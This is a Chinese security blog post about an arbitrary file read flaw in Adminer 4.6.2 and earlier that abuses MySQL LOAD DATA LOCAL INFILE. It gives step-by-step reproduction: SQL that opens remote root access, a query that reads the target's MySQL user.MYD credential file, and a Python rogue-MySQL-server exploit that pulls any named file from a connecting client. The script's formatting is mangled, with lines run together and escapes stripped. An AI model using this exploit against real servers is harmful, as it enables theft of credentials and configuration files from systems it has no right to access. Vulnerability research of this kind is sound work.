Adminer≤4.6.2任意文件读取漏洞

  • A+
所属分类:安全文章 安全漏洞
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

Adminer是一款轻量级的Web端数据库管理工具,支持MSSQL、MSSQL、Oracle、SQLite、PostgreSQL等众多主流数据库,类似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用安装,支持连接远程数据库,https://github.com/vrana/adminer 。

Adminer≤4.6.2任意文件读取漏洞

0x02 漏洞原理

Adminer任意文件读取漏洞其实来源于MySQL“LOAD DATA INFILE”安全问题,原理可参考先知社区@mntn写的“通过MySQL LOAD DATA特性来达到任意文件读取”,Adminer4.6.3版本中已经修复了LOAD DATA LOCAL INFILE问题。
Adminer≤4.6.2任意文件读取漏洞
Adminer≤4.6.2任意文件读取漏洞

0x03 漏洞复现

将我们攻击机的MySQL开启外链,然后执行EXP去读取一个不存在的文件让其报错得到绝对路径,最后再去读取数据库配置等指定文件即可,这里我随便读取的一个文件用于测试。
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;grant all privileges on *.* to 'root'@'%';    //MySQL8开启外链

Adminer≤4.6.2任意文件读取漏洞


Adminer连接攻击机MySQL数据库时的用户名、密码及数据库名可以随意输入,只要服务器IP对即可。
[email protected]:/tmp# python mysql_client.py "D:phpStudyPHPTutorialWWWav1.php"
Adminer≤4.6.2任意文件读取漏洞

也可以在我们攻击机的MySQL创建一个新的数据库和表,然后在Adminer填入攻击机的MySQL服务器IP、用户名、密码和刚创建的数据库名。
create database adminer;                //创建adminer数据库use adminer;                            //进入adminer数据库create table test(text text(4096));     //创建test数据表
Adminer≤4.6.2任意文件读取漏洞

执行以下SQL语句即可读取指定文件并将读取到的文件内容写入到刚创建的数据表里,不过得注意一下目标机的secure_file_priv选项,当它的值null时就会读取不了文件了。

load data local infile "D:\phpStudy\PHPTutorial\MySQL\data\mysql\user.MYD" into table test FIELDS TERMINATED BY 'n';
Adminer≤4.6.2任意文件读取漏洞
select * from test;        //查看test表内容truncate table test;       //清空test表内容drop database adminer;     //删除adminer数据库

Adminer≤4.6.2任意文件读取漏洞


0x04 利用程序

#coding=utf-8 import socketimport loggingimport syslogging.basicConfig(level=logging.DEBUG)
filename=sys.argv[1]sv=socket.socket()sv.setsockopt(1,2,1)sv.bind(("",3306))sv.listen(5)conn,address=sv.accept()logging.info('Conn from: %r', address)conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")conn.recv(9999)logging.info("auth okay")conn.sendall("x07x00x00x02x00x00x00x02x00x00x00")conn.recv(9999)logging.info("want file...")wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filenameconn.sendall(wantfile)content=conn.recv(9999)logging.info(content)conn.close()

0x05 参考链接

  • https://xz.aliyun.com/t/3973

  • https://dev.mysql.com/doc/refman/8.0/en/load-data-local-security.html



【推荐书籍】

Adminer≤4.6.2任意文件读取漏洞
Adminer≤4.6.2任意文件读取漏洞  如果对你有所帮助,点个分享、赞、在看呗!Adminer≤4.6.2任意文件读取漏洞

本文始发于微信公众号(潇湘信安):Adminer≤4.6.2任意文件读取漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: